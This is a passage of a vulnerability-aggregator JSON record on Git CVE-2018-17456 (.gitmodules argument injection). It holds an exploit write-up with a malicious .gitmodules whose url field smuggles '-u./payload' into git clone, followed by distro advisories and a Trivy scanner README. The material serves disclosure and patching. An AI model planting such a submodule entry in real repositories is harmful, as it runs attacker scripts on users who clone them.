"https://packetstormsecurity.com/files/download/150380/git_submodule_url_exec.rb.txt"}, {"lastseen": "2018-10-17T18:18:51", "bulletinFamily": "exploit", "description": "", "modified": "2018-10-17T00:00:00", "published": "2018-10-17T00:00:00", "id": "PACKETSTORM:149836", "href": "https://packetstormsecurity.com/files/149836/Git-Submodule-Arbitrary-Code-Execution.html", "title": "Git Submodule Arbitrary Code Execution", "type": "packetstorm", "sourceData": "`# CVE-2018-17456 \n \nI've gotten a couple of questions about exploitation for the \n[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we \ngo with some technical details. \n \n## TL;DR \n \n[Here](https://github.com/joernchen/poc-submodule) is a PoC repository. \nEDB Note: Mirror ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45631.zip \n \n## Exploitation \n \nThe `.gitmodules` file looks as follows: \n \n``` \n[submodule \"x:x\"] \npath = x:x \nurl = -u./payload \n``` \n \nThe actual command being injected is set by the url, `-u./payload` \npoints the `upload-pack` flag of git clone to the `payload` shell \nscript. Note also the `:` within the path, this part is needed to \nactually get the `payload` script executed. \n \nThe path will end up as the repository URL in the subsequent `clone` \noperation: \n \n``` \nexecve(\"/usr/lib/git-core/git\", [\"/usr/lib/git-core/git\", \"clone\", \n\"--no-checkout\", \"--progress\", \"--separate-git-dir\", \n\"/tmp/huhu/.git/modules/x:x\", \"-u./payload\", \"/tmp/huhu/x:x\"],... \n``` \n \nAs the actual URL from `.gitmodules` is interpreted as the `-u` \nargument. \n \nThe colon is due to the fact, that the colon character let us go past \nthose lines in `transport.c`: \n \n```c \n} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) { \nstruct bundle_transport_data *data = xcalloc(1, sizeof(*data)); \ntransport_check_allowed(\"file\"); \nret->data = data; \nret->vtable = &bundle_vtable; \nret->smart_options = NULL; \n``` \n \nDue to `url_is_local_not_ssh` will return false due to the colon \nin the path. And therefore later on in the code the smart_options \ncontaining the `uploadpack` setting are still in place: \n \n```c \n} else { \n/* Unknown protocol in URL. Pass to external handler. */ \nint len = external_specification_len(url); \nchar *handler = xmemdupz(url, len); \ntransport_helper_init(ret, handler); \n} \n \nif (ret->smart_options) { \nret->smart_options->thin = 1; \nret->smart_options->uploadpack = \"git-upload-pack\"; \nif (remote->uploadpack) \nret->smart_options->uploadpack = remote->uploadpack; \nret->smart_options->receivepack = \"git-receive-pack\";1 \nif (remote->receivepack) \nret->smart_options->receivepack = remote->receivepack; \n} \n``` \n \n## Further hints \n \nThe constraint to have a colon in the `path` seems to hinder exploitation on Windows \nas a colon is a forbidden character within a path on Windows. However as noted by \nsome people during the disclosure: Git running within the Windows Subsystem for Linux or \ncygwin will allow exploitation on Windows hosts. \n \nEtienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/) \nearlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592). \n \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/149836/gitsubmod-exec.txt"}], "zdt": [{"lastseen": "2018-10-09T02:49:06", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category local exploits", "modified": "2018-10-09T00:00:00", "published": "2018-10-09T00:00:00", "id": "1337DAY-ID-31270", "href": "https://0day.today/exploit/description/31270", "title": "Git Submodule - Arbitrary Code Execution Vulnerability", "type": "zdt", "sourceData": "These releases fix a security flaw (CVE-2018-17456), which allowed an\r\nattacker to execute arbitrary code by crafting a malicious .gitmodules\r\nfile in a project cloned with --recurse-submodules.\r\n \r\nWhen running \"git clone --recurse-submodules\", Git parses the supplied\r\n.gitmodules file for a URL field and blindly passes it as an argument\r\nto a \"git clone\" subprocess. If the URL field is set to a string that\r\nbegins with a dash, this \"git clone\" subprocess interprets the URL as\r\nan option. This can lead to executing an arbitrary script shipped in\r\nthe superproject as the user who ran \"git clone\".\r\n \r\nIn addition to fixing the security issue for the user running \"clone\",\r\nthe 2.17.2, 2.18.1 and 2.19.1 releases have an \"fsck\" check which can\r\nbe used to detect such malicious repository content when fetching or\r\naccepting a push. See \"transfer.fsckObjects\" in git-config(1).\r\n \r\nCredit for finding and fixing this vulnerability goes to joernchen\r\nand Jeff King, respectively.\r\n \r\nP.S. Folks at Microsoft tried to follow the known exploit recipe on\r\nGit for Windows (but not Cygwin or other Git implementations on\r\nWindows) and found that the recipe (or its variants they can think\r\nof) would not make their system vulnerable. This is due to the fact\r\nthat the type of submodule path require by the known exploit recipe\r\ncannot be created on Windows. Nonetheless, it is possible we have\r\nmissed some exploitation path and users are encouraged to upgrade.\n\n# 0day.today [2018-10-09] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/31270"}], "cloudfoundry": [{"lastseen": "2019-05-29T18:32:53", "bulletinFamily": "software", "description": "# \n\n# Severity\n\nMedium\n\n# Vendor\n\nCanonical Ubuntu\n\n# Versions Affected\n\n * Canonical Ubuntu 14.04\n * Canonical Ubuntu 18.04\n\n# Description\n\nIt was discovered that git did not properly validate git submodule urls or paths. A remote attacker could possibly use this to craft a git repository that causes arbitrary code execution when recursive operations are used.\n\nCVEs contained in this USN include: CVE-2018-17456\n\n# Affected Cloud Foundry Products and Versions\n\n_Severity is medium unless otherwise noted._\n\n * All versions of Cloud Foundry cflinuxfs2 prior to 1.242.0\n * All versions of Cloud Foundry cflinuxfs3 prior to 0.29.0\n\n# Mitigation\n\nUsers of affected products are strongly encouraged to follow one of the mitigations below:\n\n * The Cloud Foundry project recommends that Cloud Foundry deployments run with cflinuxfs2 version 1.242.0 or later.\n * The Cloud Foundry project recommends that Cloud Foundry deployments run with cflinuxfs3 version 0.29.0 or later.\n\n# References\n\n * [USN-3791-1](<https://usn.ubuntu.com/3791-1>)\n * [CVE-2018-17456](<https://people.canonical.com/~ubuntu-security/cve/CVE-2018-17456>)\n", "modified": "2018-10-15T00:00:00", "published": "2018-10-15T00:00:00", "id": "CFOUNDRY:9C6EC2561AEF786EE1E3D4A78891A5F8", "href": "https://www.cloudfoundry.org/blog/usn-3791-1/", "title": "USN-3791-1: Git vulnerability | Cloud Foundry", "type": "cloudfoundry", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2018-10-12T14:30:05", "bulletinFamily": "unix", "description": "This update for git fixes the following issues:\n\n - CVE-2018-17456: Git allowed remote code execution during processing of a\n recursive "git clone" of a superproject if a .gitmodules file has a URL\n field beginning with a '-' character. (boo#1110949).\n\n", "modified": "2018-10-12T12:11:54", "published": "2018-10-12T12:11:54", "id": "OPENSUSE-SU-2018:3109-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-10/msg00028.html", "title": "Security update for git (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-17T08:31:02", "bulletinFamily": "unix", "description": "This update for git fixes the following issues:\n\n - CVE-2018-17456: Git allowed remote code execution during processing of a\n recursive "git clone" of a superproject if a .gitmodules file has a URL\n field beginning with a '-' character. (boo#1110949).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "modified": "2018-10-17T06:09:56", "published": "2018-10-17T06:09:56", "id": "OPENSUSE-SU-2018:3178-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-10/msg00030.html", "title": "Security update for git (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-12-08T17:30:05", "bulletinFamily": "unix", "description": "This update for libgit2 fixes the following issues:\n\n\n Security issue fixed:\n\n - CVE-2018-17456: Submodule URLs and paths with a leading "-" are now\n ignored to avoid injecting options into library consumers that perform\n recursive clones (bsc#1110949).\n\n\n Non-security issues fixed:\n\n - Version update to version 0.26.8 (bsc#1114729).\n - Full changelog can be found at:\n * <a rel=\"nofollow\" href=\"https://github.com/libgit2/libgit2/releases/tag/v0.26.8\">https://github.com/libgit2/libgit2/releases/tag/v0.26.8</a>\n * <a rel=\"nofollow\" href=\"https://github.com/libgit2/libgit2/releases/tag/v0.26.7\">https://github.com/libgit2/libgit2/releases/tag/v0.26.7</a>\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "modified": "2018-12-08T15:09:50", "published": "2018-12-08T15:09:50", "id": "OPENSUSE-SU-2018:4051-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-12/msg00019.html", "title": "Security update for libgit2 (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}], "amazon": [{"lastseen": "2019-05-29T19:20:45", "bulletinFamily": "unix", "description": "**Issue Overview:**\n\nGit before 2.14.5, allows remote code execution during processing of a recursive \"git clone\" of a superproject if a .gitmodules file has a URL field beginning with a '-' character.([CVE-2018-17456 __](<https://access.redhat.com/security/cve/CVE-2018-17456>))\n\n \n**Affected Packages:** \n\n\ngit\n\n \n**Issue Correction:** \nRun _yum update git_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n git-debuginfo-2.14.5-1.59.amzn1.i686 \n git-svn-2.14.5-1.59.amzn1.i686 \n git-daemon-2.14.5-1.59.amzn1.i686 \n git-2.14.5-1.59.amzn1.i686 \n \n noarch: \n git-p4-2.14.5-1.59.amzn1.noarch \n git-email-2.14.5-1.59.amzn1.noarch \n perl-Git-SVN-2.14.5-1.59.amzn1.noarch \n git-hg-2.14.5-1.59.amzn1.noarch \n emacs-git-2.14.5-1.59.amzn1.noarch \n emacs-git-el-2.14.5-1.59.amzn1.noarch \n git-all-2.14.5-1.59.amzn1.noarch \n perl-Git-2.14.5-1.59.amzn1.noarch \n git-bzr-2.14.5-1.59.amzn1.noarch \n git-cvs-2.14.5-1.59.amzn1.noarch \n gitweb-2.14.5-1.59.amzn1.noarch \n \n src: \n git-2.14.5-1.59.amzn1.src \n \n x86_64: \n git-daemon-2.14.5-1.59.amzn1.x86_64 \n git-svn-2.14.5-1.59.amzn1.x86_64 \n git-2.14.5-1.59.amzn1.x86_64 \n git-debuginfo-2.14.5-1.59.amzn1.x86_64 \n \n \n", "modified": "2018-10-18T22:23:00", "published": "2018-10-18T22:23:00", "id": "ALAS-2018-1093", "href": "https://alas.aws.amazon.com/ALAS-2018-1093.html", "title": "Important: git", "type": "amazon", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "centos": [{"lastseen": "2019-05-29T18:33:43", "bulletinFamily": "unix", "description": "**CentOS Errata and Security Advisory** CESA-2018:3408\n\n\nGit is a distributed revision control system with a decentralized architecture. As opposed to centralized version control systems with a client-server model, Git ensures that each working copy of a Git repository is an exact copy with complete revision history. This not only allows the user to work on and contribute to projects without the need to have permission to push the changes to their official repositories, but also makes it possible for the user to work with no network connection.\n\nSecurity Fix(es):\n\n* git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2018-December/023102.html\nhttp://lists.centos.org/pipermail/centos-cr-announce/2018-November/005748.html\n\n**Affected packages:**\nemacs-git\nemacs-git-el\ngit\ngit-all\ngit-bzr\ngit-cvs\ngit-daemon\ngit-email\ngit-gnome-keyring\ngit-gui\ngit-hg\ngit-instaweb\ngit-p4\ngit-svn\ngitk\ngitweb\nperl-Git\nperl-Git-SVN\n\n**Upstream details at:**\n", "modified": "2018-12-13T20:45:19", "published": "2018-11-20T23:41:54", "id": "CESA-2018:3408", "href": "http://lists.centos.org/pipermail/centos-cr-announce/2018-November/005748.html", "title": "emacs, git, gitk, gitweb, perl security update", "type": "centos", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2019-05-29T18:38:07", "bulletinFamily": "unix", "description": "[1.8.3.1-20]\n- Fix CVE-2018-17456: arbitrary code execution via .gitmodules\n Thanks to Jonathan Nieder \n for backporting to 2.1.x\n and to Steve Beattie \n for backporting to 1.9.1", "modified": "2018-11-09T00:00:00", "published": "2018-11-09T00:00:00", "id": "ELSA-2018-3408", "href": "http://linux.oracle.com/errata/ELSA-2018-3408.html", "title": "git security update", "type": "oraclelinux", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "slackware": [{"lastseen": "2019-05-30T07:36:40", "bulletinFamily": "unix", "description": "New git packages are available for Slackware 14.0, 14.1, 14.2, and -current to\nfix a security issue.\n\n\nHere are the details from the Slackware 14.2 ChangeLog:\n\npatches/packages/git-2.14.5-i586-1_slack14.2.txz: Upgraded.\n This update fixes a security issue:\n Submodules' "URL"s come from the untrusted .gitmodules file, but we\n blindly gave it to "git clone" to clone submodules when "git clone\n --recurse-submodules" was used to clone a project that has such a\n submodule. The code has been hardened to reject such malformed URLs\n (e.g. one that begins with a dash). Credit for finding and fixing this\n vulnerability goes to joernchen and Jeff King, respectively.\n For more information, see:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17456\n (* Security fix *)\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the "Get Slack" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/git-2.14.5-i486-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/git-2.14.5-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/git-2.14.5-i486-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/git-2.14.5-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/git-2.14.5-i586-1_slack14.2.txz\n\nUpdated package for Slackware x86_64 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/git-2.14.5-x86_64-1_slack14.2.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/d/git-2.19.1-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/d/git-2.19.1-x86_64-1.txz\n\n\nMD5 signatures:\n\nSlackware 14.0 package:\n40f5f0b8654c01cf8c9ea0162481c3d8 git-2.14.5-i486-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\n9f55b0f46f910514b7cab522bdb634fc git-2.14.5-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\n64a2f53cd09cbab61ee764de43c6c319 git-2.14.5-i486-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\n25ac3ee0db49645eb0f2b895c0b23148 git-2.14.5-x86_64-1_slack14.1.txz\n\nSlackware 14.2 package:\n8d4a1a8eb0bc0a62a6520e0b5de14889 git-2.14.5-i586-1_slack14.2.txz\n\nSlackware x86_64 14.2 package:\n99ab6ab1d4685a81252893db01d63c5a git-2.14.5-x86_64-1_slack14.2.txz\n\nSlackware -current package:\n842760c6310c5ed063d2f590adf390b8 d/git-2.19.1-i586-1.txz\n\nSlackware x86_64 -current package:\n0ffa45649ab6ffeb950a7e0eeaf2aa8f d/git-2.19.1-x86_64-1.txz\n\n\nInstallation instructions:\n\nUpgrade the package as root:\n > upgradepkg git-2.14.5-i586-1_slack14.2.txz", "modified": "2018-10-10T17:35:23", "published": "2018-10-10T17:35:23", "id": "SSA-2018-283-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2018&m=slackware-security.442862", "title": "git", "type": "slackware", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2019-05-30T02:21:35", "bulletinFamily": "unix", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4311-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nOctober 05, 2018 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : git\nCVE ID : CVE-2018-17456\n\njoernchen of Phenoelit discovered that git, a fast, scalable,\ndistributed revision control system, is prone to an arbitrary code\nexecution vulnerability via a specially crafted .gitmodules file in a\nproject cloned with --recurse-submodules.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1:2.11.0-3+deb9u4.\n\nWe recommend that you upgrade your git packages.\n\nFor the detailed security status of git please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/git\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "modified": "2018-10-05T19:29:54", "published": "2018-10-05T19:29:54", "id": "DEBIAN:DSA-4311-1:A583A", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2018/msg00242.html", "title": "[SECURITY] [DSA 4311-1] git security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "freebsd": [{"lastseen": "2019-05-29T18:31:50", "bulletinFamily": "unix", "description": "\nThe Git community reports:\n\nMultiple vulnerabilities.\n\n", "modified": "2018-10-05T00:00:00", "published": "2018-10-05T00:00:00", "id": "8C08AB4C-D06C-11E8-B35C-001B217B3468", "href": "https://vuxml.freebsd.org/freebsd/8c08ab4c-d06c-11e8-b35c-001b217b3468.html", "title": "Libgit2 -- multiple vulnerabilities", "type": "freebsd", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2019-12-02T01:29:24", "bulletinFamily": "tools", "description": "A Simple and Comprehensive [ Vulnerability Scanner ](<https://www.kitploit.com/search/label/Vulnerability%20Scanner> \"Vulnerability Scanner\" ) for Containers, Suitable for CI. \n \n\n\n[  ](<https://1.bp.blogspot.com/-1UySMBavE18/XbTjD34g1JI/AAAAAAAAQu4/4Te6530_9tYsuMryQd-Se0KGB4nkAY7IgCNcBGAsYHQ/s1600/trivy_7_usage.gif>)\n\n \n\n\n[  ](<https://1.bp.blogspot.com/-TYOxC4Qbct0/XbTjCrjEsxI/AAAAAAAAQuw/YGfdv_fB-HcijuGyoJsxeM2l4q1D9lcPgCNcBGAsYHQ/s1600/trivy_9_usage2.png>)\n\n \n\n\n[  ](<https://1.bp.blogspot.com/-sAp8dBwyVio/XbTjC1BIl1I/AAAAAAAAQu0/jfNQGljukp47bc9yJ_QX6nghXis43LkJQCNcBGAsYHQ/s1600/trivy_8_usage1.png>)\n\n \n** Abstract ** \n` Trivy ` ( ` tri ` pronounced like ** tri ** gger, ` vy ` pronounced like en ** vy ** ) is a simple and comprehensive vulnerability scanner for containers. A software vulnerability is a glitch, flaw, or weakness present in the software or in an Operating System. ` Trivy ` detects vulnerabilities of OS packages (Alpine, RHEL, CentOS, etc.) and application dependencies (Bundler, Composer, npm, yarn etc.). ` Trivy ` is easy to use. Just install the binary and you're ready to scan. All you need to do for scanning is to specify an image name of container. \nIt is considered to be used in CI. Before pushing to a container registry, you can scan your local container image easily. See [ here ](<https://github.com/aquasecurity/trivy#continuous-integration-ci> \"here\" ) for details. \n \n** Features ** \n\n\n * Detect comprehensive vulnerabilities \n * OS packages (Alpine, ** Red Hat Universal Base Image ** , [ Red Hat Enterprise ](<https://www.kitploit.com/search/label/Red%20Hat%20Enterprise> \"Red Hat Enterprise\" ) Linux, CentOS, Debian and Ubuntu) \n * ** Application dependencies ** (Bundler, Composer, Pipenv, Poetry, npm, yarn and Cargo) \n * Simple \n * Specify only an image name \n * See [ Quick Start ](<https://github.com/aquasecurity/trivy#quick-start> \"Quick Start\" ) and [ Examples ](<https://github.com/aquasecurity/trivy#examples> \"Examples\" )\n * Easy installation \n * ` apt-get install ` , ` yum install ` and ` brew install ` is possible (See [ Installation ](<https://github.com/aquasecurity/trivy#installation> \"Installation\" ) ) \n * ** No need for prerequirements ** such as installation of DB, libraries, etc. (The exception is that you need ` rpm ` installed to scan images based on RHEL/CentOS. This is automatically included if you use our installers or the Trivy container image. See [ Vulnerability Detection ](<https://github.com/aquasecurity/trivy#vulnerability-detection> \"Vulnerability Detection\" ) for background information.) \n * High accuracy \n * ** Especially Alpine Linux and RHEL/CentOS **\n * Other OSes are also high \n * DevSecOps \n * ** Suitable for CI ** such as Travis CI, CircleCI, Jenkins, etc. \n * See [ CI Example ](<https://github.com/aquasecurity/trivy#continuous-integration-ci> \"CI Example\" )\n \n** Installation ** \n \n** RHEL/CentOS ** \nAdd repository setting to ` /etc/yum.repos.d ` . \n\n \n \n $ sudo vim /etc/yum.repos.d/trivy.repo\n [trivy]\n name=Trivy repository\n baseurl=https://aquasecurity.github.io/trivy-repo/rpm/releases/$releasever/$basearch/\n gpgcheck=0\n enabled=1\n $ sudo yum -y update\n $ sudo yum -y install trivy\n\nor \n\n \n \n $ rpm -ivh https://github.com/aquasecurity/trivy/releases/download/v0.1.6/trivy_0.1.6_Linux-64bit.rpm\n\n \n** Debian/Ubuntu ** \nAdd repository to ` /etc/apt/sources.list.d ` . \n\n \n \n $ sudo apt-get install wget apt-transport-https gnupg lsb-release\n $ wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -\n $ echo deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main | sudo tee -a /etc/apt/sources.list.d/trivy.list\n $ sudo apt-get update\n $ sudo apt-get install trivy\n\nor \n\n \n \n $ sudo apt-get install rpm\n $ wget https://github.com/aquasecurity/trivy/releases/download/v0.1.6/trivy_0.1.6_Linux-64bit.deb\n $ sudo dpkg -i trivy_0.1.6_Linux-64bit.deb\n\n \n** Arch Linux ** \nPackage trivy-bin can be installed from the Arch User Repository. Examples: \n\n \n \n pikaur -Sy trivy-bin\n\nor \n\n \n \n yay -Sy trivy-bin\n\n \n** Homebrew ** \nYou can use homebrew on macOS. \n\n \n \n $ brew install aquasecurity/trivy/trivy\n\n \n** Binary (Including Windows) ** \nGet the latest version from [ this page ](<https://github.com/aquasecurity/trivy/releases/latest> \"this page\" ) , and download the archive file for your operating system/architecture. Unpack the archive, and put the binary somewhere in your ` $PATH ` (on UNIX-y systems, /usr/local/bin or the like). Make sure it has execution bits turned on. \nYou also need to install ` rpm ` command for scanning images based on RHEL/CentOS. \n \n** From source ** \n\n \n \n $ mkdir -p $GOPATH/src/github.com/aquasecurity\n $ cd $GOPATH/src/github.com/aquasecurity\n $ git clone https://github.com/aquasecurity/trivy\n $ cd trivy/cmd/trivy/\n $ export GO111MODULE=on\n $ go install\n\nYou also need to install ` rpm ` command for scanning images based on RHEL/CentOS. \n \n** Quick Start ** \nSimply specify an image name (and a tag). ** The ` latest ` tag should be avoided as problems occur with cache. ** . See [ Clear image caches ](<https://github.com/aquasecurity/trivy#clear-image-caches> \"Clear image caches\" ) . \n \n** Basic ** \n\n \n \n $ trivy [YOUR_IMAGE_NAME]\n\nFor example: \n\n \n \n $ trivy python:3.4-alpine\n\n \n \nResult \n\n \n \n 2019-05-16T01:20:43.180+0900 INFO Updating vulnerability database...\n 2019-05-16T01:20:53.029+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | openssl | CVE-2019-1543 | MEDIUM | 1.1.1a-r1 | 1.1.1b-r1 | openssl: ChaCha20-Poly1305 |\n | | | | | | with long nonces |\n +---------+------------------+----------+-------------------+---------------+------------------- -------------+\n\n \n** Docker ** \nReplace [YOUR_CACHE_DIR] with the cache directory on your machine. \n\n \n \n $ docker run --rm -v [YOUR_CACHE_DIR]:/root/.cache/ aquasec/trivy [YOUR_IMAGE_NAME]\n\nExample for macOS: \n\n \n \n $ docker run --rm -v $HOME/Library/Caches:/root/.cache/ aquasec/trivy python:3.4-alpine\n\nIf you would like to scan the image on your host machine, you need to mount ` docker.sock ` . \n\n \n \n $ docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \\\n -v $HOME/Library/Caches:/root/.cache/ aquasec/trivy python:3.4-alpine\n\nPlease re-pull latest ` aquasec/trivy ` if an error occurred. \n \n \nResult \n\n \n \n 2019-05-16T01:20:43.180+0900 INFO Updating vulnerability database...\n 2019-05-16T01:20:53.029+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | openssl | CVE-2019-1543 | MEDIUM | 1.1.1a-r1 | 1.1.1b-r1 | openssl: ChaCha20-Poly1305 |\n | | | | | | with long nonces |\n +---------+------------------+----------+-------------------+---------------+------------------- -------------+\n\n \n** Examples ** \n \n** Scan an image ** \nSimply specify an image name (and a tag). \n\n \n \n $ trivy knqyf263/vuln-image:1.2.3\n\n \n \nResult \n\n \n \n 2019-05-16T12:58:55.967+0900 INFO Updating vulnerability database...\n 2019-05-16T12:59:03.150+0900 INFO Detecting Alpine vulnerabilities...\n 2019-05-16T12:59:03.156+0900 INFO Updating bundler Security DB...\n 2019-05-16T12:59:04.941+0900 INFO Detecting bundler vulnerabilities...\n 2019-05-16T12:59:04.942+0900 INFO Updating cargo Security DB...\n 2019-05-16T12:59:05.967+0900 INFO Detecting cargo vulnerabilities...\n 2019-05-16T12:59:05.967+0900 INFO Updating composer Security DB...\n 2019-05-16T12:59:07.834+0900 INFO Detecting composer vulnerabilities...\n 2019-05-16T12:59:07.834+0900 INFO Updating npm Security DB...\n 2019-05-16T12:59:10.285+0900 INFO Detecting npm vulnerabilities...\n 2019-05-16T12:59:10.285+0900 INFO Updating pipenv Security DB...\n 2019-05-16T12:59:11.487+0900 INFO Detecting pipenv vulnerabilities...\n \n knqyf263/vuln-image:1.2.3 (alpine 3.7.1)\n ===== ===================================\n Total: 26 (UNKNOWN: 0, LOW: 3, MEDIUM: 16, HIGH: 5, CRITICAL: 2)\n \n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | curl | CVE-2018-14618 | CRITICAL | 7.61.0-r0 | 7.61.1-r0 | curl: NTLM password overflow |\n | | | | | | via integer overflow |\n + +------------------+----------+ +---------------+----------------------------------+\n | | CVE-2018-16839 | HIGH | | 7.61.1-r1 | curl: Integer overflow leading |\n | | | | | | to heap-based buffer overflow in |\n | | | | | | Curl_sasl_create_plain_message() |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2019-3822 | | | 7.61.1-r2 | curl: NTLMv2 type-3 header |\n | | | | | | stack buffer overflow |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2018-16840 | | | 7.61.1-r1 | curl: Use-after-free when |\n | | | | | | closing \"easy\" handle in |\n | | | | | | Curl_close() |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2018-16842 | MEDIUM | | | curl: Heap-based buffer |\n | | | | | | over-read in the curl tool |\n | | | | | | warning formatting |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2018-16890 | | | 7.61.1-r2 | curl: NTLM type-2 heap |\n | | | | | | out-of-bounds buffer read |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3823 | | | | curl: SMTP end-of-response |\n | | | | | | out-of-bounds read |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | git | CVE-2018-17456 | HIGH | 2.15.2-r0 | 2.15.3-r0 | git: arbitrary code execution |\n | | | | | | via .gitmodules |\n + +------------------+ + + +----------------------------------+\n | | CVE-2018-19486 | | | | git: Improper handling of |\n | | | | | | PATH allows for commands to be |\n | | | | | | executed from... |\n +---------+-- ----------------+----------+-------------------+---------------+----------------------------------+\n | libssh2 | CVE-2019-3855 | CRITICAL | 1.8.0-r2 | 1.8.1-r0 | libssh2: Integer overflow in |\n | | | | | | transport read resulting in |\n | | | | | | out of bounds write... |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2019-3859 | MEDIUM | | | libssh2: Unchecked use of |\n | | | | | | _libssh2_packet_require and |\n | | | | | | _libssh2_packet_requirev |\n | | | | | | resulting in out-of-bounds |\n | | | | | | read |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3858 | | | | libssh2: Zero-byte allocation |\n | | | | | | with a specially crafted SFTP |\n | | | | | | packed leading to an... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3863 | | | | libssh2: Integer overflow |\n | | | | | | in user authenticate |\n | | | | | | keyboard interactive allows |\n | | | | | | out-of-bounds writes |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3862 | | | | libssh2: Out-of-bounds memory |\n | | | | | | comparison with specially |\n | | | | | | crafted message channel |\n | | | | | | request |\n + +------------------+ + + +----------------------------------+\n | | 